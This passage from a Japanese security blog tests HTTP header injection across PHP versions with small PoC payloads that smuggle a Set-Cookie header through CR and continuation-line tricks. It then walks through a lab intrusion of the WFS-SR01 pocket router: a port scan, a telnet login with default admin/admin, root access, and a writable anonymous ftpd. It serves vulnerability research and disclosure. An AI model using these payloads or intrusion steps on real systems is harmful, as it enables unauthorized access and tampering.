<Location /php-5.6.29>
    AddHandler application/x-httpd-php-5.6.29 .php
    Action application/x-httpd-php-5.6.29 /php-cgi/php-5.6.29
    Options Indexes FollowSymLinks
    Order allow,deny
    allow from all
</Location>
これに対して、共通の設定として、下記を httpd.confの末尾に入れています。
Alias /d/ "/home/ockeghem/Dropbox/www/"
<Directory "/home/ockeghem/Dropbox/www">
    Options Indexes FollowSymLinks
    AllowOverride None
    Order allow,deny
    Allow from all
</Directory>

ScriptAlias /php-cgi/ /home/ockeghem/phpcgi/
<Directory "/home/ockeghem/phpcgi">
    AllowOverride None
    Options +ExecCGI -MultiViews +SymLinksIfOwnerMatch
    Order allow,deny
    Allow from all
</Directory>

Include /home/ockeghem/phpcgi.conf/
この設定により、/php-5.6.29/phpinfo.php にアクセスすると、~/Dropbox/www/phpinfo.phpをPHP 5.6.29が実行した結果を返すことになります。



実際には、各バージョンのPHPの呼び出しは、curlコマンドを呼び出す簡単なPythonスクリプトを用いています。

継続行とヘッダインジェクション

それでは、phpcgiallを用いて、PHPのHTTPヘッダインジェクション対策の変遷について調べてみましょう。
PHPのheader関数はPHP-5.1.2で改行のチェックが入り、HTTPヘッダインジェクションができなくなっているはずでしたが、実際には以下の抜けがありました。
  • キャリッジリターン(\x0D)のみで攻撃可能なブラウザがあった
  • IE限定だが、継続行(LWS)を用いた攻撃ができた
いずれも最新版のPHPでは解消されています。このうち、継続行の問題の方を phpcgiall で確かめてみましょう。
継続行を用いた HTTPヘッダインジェクションとは、以下のように改行の後に空白を用いる継続行(Linear White Space)を用いるものです。
header("Location: http://exapmle.jp/\r\n Set-Cookie: a=b;");
すると、古いPHPでは、以下のように「継続行」形式として改行チェックをスルーしてしまいます。
Location: http://example.jp/
 Set-Cookie: a=b;
ブラウザ側で「継続行」として一つのヘッダとして認識してくれれば問題はないのですが、IEは上記を2つのヘッダとして認識するために、Set-Cookieヘッダが追加された形になります。詳しくは、ブログ記事PHPにおけるHTTPヘッダインジェクションはまだしぶとく生き残るを参照下さい。

それでは、phpcgiallにてこの問題を検証してみましょう。PoCは下記です。
<?php
  header("Location: http://example.jp/\r\n Set-Cookie: a=b;");
実行結果は下記の通りです。ログファイルからWarningの表示を確認しています。
$ grep Warning *
php-5.4.38.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-5.4.39.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
...
php-5.5.22.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-5.5.23.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
...
php-5.6.6.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-5.6.7.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
...
php-7.0.0.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
php-7.0.1.log:<b>Warning</b>:  Header may not contain more than a single header, new line detected ...
上記から、header関数で「継続行」が禁止されたのは、PHP 5.4.38、5.5.22、5.6.6、7.0.0であることがわかります。

キャリッジリターンのみを用いたHTTPヘッダインジェクションはどうか?

次に、キャリッジリターン(\x0D)のみを用いたHTTPヘッダインジェクションについて調べてみましょう。PoCは下記となります。
<?php
  header("Location: http://example.jp/\rSet-Cookie: a=b;");
これに対して、問題があることが確実なバージョンとして、PHP 5.3.0での結果を見てみましょう。キャリッジリターンをわかりやすく表示するために、sedによりキャリッジリターンを [CR] と変換して表示しています。
$ curl --dump-header - http://localhost/php-5.3.0/headerinj-cr.php | sed 's/\r/[CR]/'
HTTP/1.1 302 Moved Temporarily[CR]
Date: Wed, 14 Dec 2016 12:55:39 GMT[CR]
Server: Apache/2.2.22 (Ubuntu)[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/Set-Cookie: a=b;[CR]
Vary: Accept-Encoding[CR]
Content-Length: 0[CR]
Content-Type: text/html[CR]
[CR]
あれあれ? Set-Cookieヘッダ(赤字)の前にキャリッジリターンがありません。これでは、Set-Cookieが独立したヘッダとして、ブラウザに認識されません。
試みに、CGI版のPHPをコマンドラインから起動して、PHPの出力を見てみましょう。
$ ~/phpcgi/php-5.3.0 headerinj-cr.php | sed 's/\r/[CR]/'
Status: 302 Moved Temporarily[CR]
X-Powered-By: PHP/5.3.0[CR]
Location: http://example.jp/[CR]Set-Cookie: a=b;
Content-type: text/html[CR]
[CR]
今度は、Set-Cookieヘッダの前にキャリッジリターンがありますね。
どうやら、ApacheがCGIインターフェースを処理する際に、ラインフィード(0x0A)を伴わない単独のキャリッジリターン(0x0D)を削除してしまうようです。
ということで、キャリッジリターンのみを用いたHTTPヘッダインジェクションのテストは、CGIプログラムの形ではうまくいかないことがわかりました。Warningから該当バージョンは追えますが、脆弱な挙動として現れないのはちょっと残念ですね。

まとめ

@hnwさんのphpallを拡張する形で、PHPの前バージョンをCGIモードで動かす環境 phpcgiall を作成しました。
概ね期待通りの結果を得られましたが、HTTPヘッダの微妙な挙動については、Apacheモジュール版とCGI版では微妙な差があり、検証に注意を要することが課題と言えます。
(続く)

2016年12月2日金曜日

アイ・オー・データのポケットルーターWFS-SR01の脆弱性について調べてみた

2016年11月2日に、アイ・オー・データ機器が販売する「ポケドラ」ことWFS-SR01に複数の脆弱性があることが報じられました。
株式会社アイ・オー・データ機器が提供する WFS-SR01 は、無線 LAN ルータ機能を搭載したポータブルストレージ機器です。WFS-SR01 のポケットルーター機能には、次の複数の脆弱性が存在します。
  • 任意のコマンド実行 - CVE-2016-7806
  • アクセス制限不備 - CVE-2016-7807
JVN#18228200: WFS-SR01 における複数の脆弱性より引用
任意のコマンド実行ということは、OSコマンドインジェクションでもあるのだろうかと思い、腕試しの目的で当該機種を入手して調べてみました。その結果を報告します。

ポケドラとは

ポケドラは、Wi-Fiモバイルストレージと呼ばれるカテゴリに属し、以下の機能を提供しています。
  • Wi-Fi経由で使用できるストレージ
  • モバイルバッテリー
  • SDカードリーダー
  • ポケットルーター
これらのうち、「ポケットルーター」機能が問題になりました。名称がややこしいのですが、よく普及している「モバイルーター」とは異なり、「ポケットルーター」には 3GやLTEのような自力のネット接続機能はありません。ホテル等が備える有線LANに接続して、それをスマホ等のWi-Fi機器に中継する機能を提供しています。
もう少し技術的にいえば、有線LAN側はDHCPクライアントとして有線LANに接続(固定IPも可能ですが)し、それをNATで複数のWi-Fi機器で共有します。そのためのDHCPサーバー機能もあります。以下に設定画面の一部を示します。



試してみる

私が入手した端末は、ファームウェアバージョン 2.000.034 というものです。これを仮想的なインターネット環境(IPアドレスはグローバルを想定して203.0.113.0/24を使用)につなげました。有線LAN側(インターネット側)は、実験環境で用意したDHCPにより 203.0.113.10 がポケドラに割り当てられています。
お約束にしたがい、まずはポートスキャンにかけてみましょう。以下は、有線LAN側、すなわち場合によってはインターネットに接続されている側からの結果です。
$ nmap -p 1-65535 203.0.113.10

PORT     STATE SERVICE
23/tcp   open  telnet
80/tcp   open  http
81/tcp   open  hosts2-ns
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
5880/tcp open  unknown
おやおや、いきなり興味深い結果が表示されました。80のhttpは管理画面でしょうが、一般的なルーターでは、インターネット側からアクセスは通常できないように制御されています。23のtelnet、139と445のファイル共有も興味深いですね。
それでは、まずtelnetでログインしてみましょう。管理画面のデフォルトアカウントはadmin/adminなので、それで試してみます…
$ telnet 203.0.113.10
Trying 203.0.113.10...
Connected to 203.0.113.10.
Escape character is '^]'.

WFS-SR01 login: admin
Password:

BusyBox v1.12.1 (2012-04-26 15:28:18 PHT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

$ uname -a
Linux WFS-SR01 2.6.21 #5 Fri Nov 1 13:36:46 CST 2013 mips unknown
$ whoami
-sh: whoami: not found
$ who
USER       TTY      IDLE      TIME            HOST
admin      pts/0    00:00     Feb  7 15:50:37
$ free
              total         used         free       shared      buffers
  Mem:        28000        26340         1660            0         1388
 Swap:            0            0            0
Total:        28000        26340         1660
$ df
Filesystem           1k-blocks      Used Available Use% Mounted on
rootfs                    4800      4800         0 100% /
/dev/root                 4800      4800         0 100% /
/dev/sda1              1951676      1580   1950096   0% /data/UsbDisk1/Volume1
$
なんと、いきなりtelnetでログインできてしまいました。
unameの表示から、Linux 2.6.21、CPUはMIPSであることがわかります。
それにしても…「任意のコマンド実行」とはこれのことですか…あまりのあっけなさに、腕試しをしようという目論見はなんとも不発な感じで微妙な気持ちになりましたが、これはこれで興味深いので、さらに試してみました。

インターネットに向けてファイルを公開してしまう

telnetはいったん中断して、今度はファイル共有を試します。
仮想インターネットに接続したWindows XP端末から、\\203.0.113.10にアクセスしてみます。すると、下記のようにログオンプロンプトが表示されます。


ここで、先程同様 admin/admin を試すと、以下のようにファイル共有ができました。


ファイルの読み込みだけでなく、書き込みも可能でした。
しかし、ここまでの問題であれば、デフォルトパスワードを変更しておけば悪用はできないはずで、「違法ではないが一部不適切」と強弁できなくもないなと思いました。


rootログインしてftpdを動かす

そこで再びtelnetに戻り、rootのパスワードを試してみました。いくつかの方法を試した後、rootのパスワードが判明しましたが、詳細は伏せます。判明したパスワードを見て、以下のような感想を持ちました。

パスワード-もっと強くキミを守りたい- : IPA情報処理推進機構より引用

それはともかく、rootでログインしてみましょう。
$ telnet 203.0.113.10
Trying 203.0.113.10...
Connected to 203.0.113.10.
Escape character is '^]'.

WFS-SR01 login: root
Password:
login: can't chdir to home directory '/root'

BusyBox v1.12.1 (2012-04-26 15:28:18 PHT) built-in shell (ash)
Enter 'help' for a list of built-in commands.

# who
USER       TTY      IDLE      TIME            HOST
root       pts/0    00:00     Nov 30 20:50:40
# pwd
/
# 
まぁ、パスワードがわかればログインできますよね…
rootがとれましたので、ちょっと遊んでみようということで、なにか外部からプログラムをアップロードして動かしてみることにします。といってもあらたにビルドするのは面倒なので、busybox本家サイトから、MIPS用のフル版busyboxバイナリをダウンロードして、ホケドラに挿しているSDカードに保存しました。
# ./busybox-mipsel
BusyBox v1.21.1 (2013-07-08 11:09:23 CDT) multi-call binary.
BusyBox is copyrighted by many authors between 1998-2012.
Licensed under GPLv2. See source distribution for detailed
copyright notices.
...
動いていますね。
ポケドラに元々インストールされているbusyboxではできないこととして、ftpdを起動してみます。
# ./busybox-mipsel  tcpsvd 0 21 ./busybox-mipsel  ftpd -w /
別の端末から接続してみましょう。
$ ftp 203.0.113.10
Connected to 203.0.113.10.
220 Operation successful
Name (203.0.113.10:ockeghem): anonymous        ← パスワードは要求されない
230 Operation successful
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> pwd
257 "/"
ftp> ls
200 Operation successful
150 Directory listing
total 0
drwxr-xr-x    2 root     root           802 Apr  4  2014 bin
drwxr-xr-x    3 root     root            20 Apr  4  2014 boot
drwxr-xr-x    3 root     root             0 Nov 30 20:50 data
drwxr-xr-x    6 root     root             0 Nov 30 20:50 dev
drwxr-xr-x   14 root     root             0 Nov 30 20:50 etc
...
226 Operation successful
ftp> cd /data/UsbDisk1/Volume1/
250 Operation successful
ftp> pwd
257 "/data/UsbDisk1/Volume1"
ftp> ls
200 Operation successful
150 Directory listing
total 1596
drwxrwxrwx    2 root     root          4096 Nov  9 22:30 System Volume Information
-rwxrwxrwx    1 root     root       1576152 Nov 30 20:58 busybox-mipsel
-rwxrwxrwx    1 root     root         10923 Dec  2  2016 ockeghem.png
drwxrwxrwx    2 root     root          4096 Nov 30 20:57 test
226 Operation successful
ftp> put shop.zip                        ← shop.zipをアップロード
local: shop.zip remote: shop.zip
200 Operation successful
150 Ok to send data
226 Operation successful
2753 bytes sent in 0.00 secs (10380.2 kB/s)
ftp> ls
200 Operation successful
150 Directory listing
total 1596
drwxrwxrwx    2 root     root          4096 Nov  9 22:30 System Volume Information
-rwxrwxrwx    1 root     root       1576152 Nov 30 20:58 busybox-mipsel
-rwxrwxrwx    1 root     root         10923 Dec  2  2016 ockeghem.png
-rwxrwxrwx    1 root     root          2753 Nov 30 21:54 shop.zip
drwxrwxrwx    2 root     root          4096 Nov 30 20:57 test
226 Operation successful
ftp> quit
221 Operation successful
$
認証なしで書き込みもできるので、攻撃者にとっては便利そうです。これはほんの一例ですが、ポケドラに挿したSDカードの内容が読み取れることはもちろんですが、DNSの設定を変更されることで、意図しないサイトに接続を誘導される等の攻撃も考えられます。

いったんまとめ

ここまで検証したことをまとめると、下記のようになります。

  • 任意のコマンド実行 - CVE-2016-7806  telnetポートが有効であり、外部からadmin/adminという容易に推測できるアカウントでログインでき、rootログインされてしまう可能性もある
  • アクセス制限不備 - CVE-2016-7807 telnetに加え、Windowsファイル共有、管理画面等がインターネット側からも使え、情報漏えいや不正な操作に使われてしまう

最新版での対策

2016年11月15日に最新のファームウェアが公開されました(画面上は2.000.040と表示)。このバージョンでは、以下の変更がなされたようです。
  • telnetポートが塞がれた(有線LAN、無線LANとも)
  • 有線LAN(インターネット)側のポートを塞いだ
これらにより、上記で紹介した問題は対策されていると考えます。

そもそもこれは脆弱性だったのか

見出しをご覧になって、「おかしなことを言う」と思われたでしょうが、そもそもポケドラはインターネットに直接接続することを想定していたのかという疑問があります。ネットの商品説明や取扱説明書を見ても、「ホテルの有線LANをWi-Fi化」などという表現であり、インターネットにつなぐことができるという表現ではありません。
しかしながら、「ポケットルーター」機能と銘打っており、実際にインターネットに接続すれば一応のWi-Fiルーターとして使用できることから、ユーザーの中にはインターネットに直接接続する方もいるでしょう。そのようなユースケースを重く見て、株式会社アイ・オー・データ機器は、当該問題を脆弱性して公表し、製品回収までしたのだと予想します。そのような株式会社アイ・オー・データ機器の姿勢に私は敬意を表します。

まとめ

本稿で紹介した「脆弱性」は、実装上のミスというよりは、商品コンセプトにやや曖昧なところがあり、意図しない使われ方をした場合に危険な状態になることを想定できなかったことによるものと考えます。そして、今まで発表された IoT機器のセキュリティ問題の多くは、「ユースケースを想定しきれていなかった」ことによるわけで、その意味で象徴的な事例とも言えます。

また、改修後のポケドラは、必要最低限の対策であり、一般的な家庭用Wi-FIルーターが備えるセキュリティ機能はないことから、あくまでホテル等で提供されるインターネット接続をWi-Fiに変換するような目的で使用されることを推奨します。つまり、インターネットに直接接続することは、直ちに危険ということではないにしても、避けた方がよいということです。

追記

複数の方から、ホテルのインターネットでも部屋間で通信できるのでインターネットと同等のリスクとなり得るという指摘をいただきました。たしかにその通りです。ご指摘いただきありがうございました。この件ついては更に追記するかもしれません。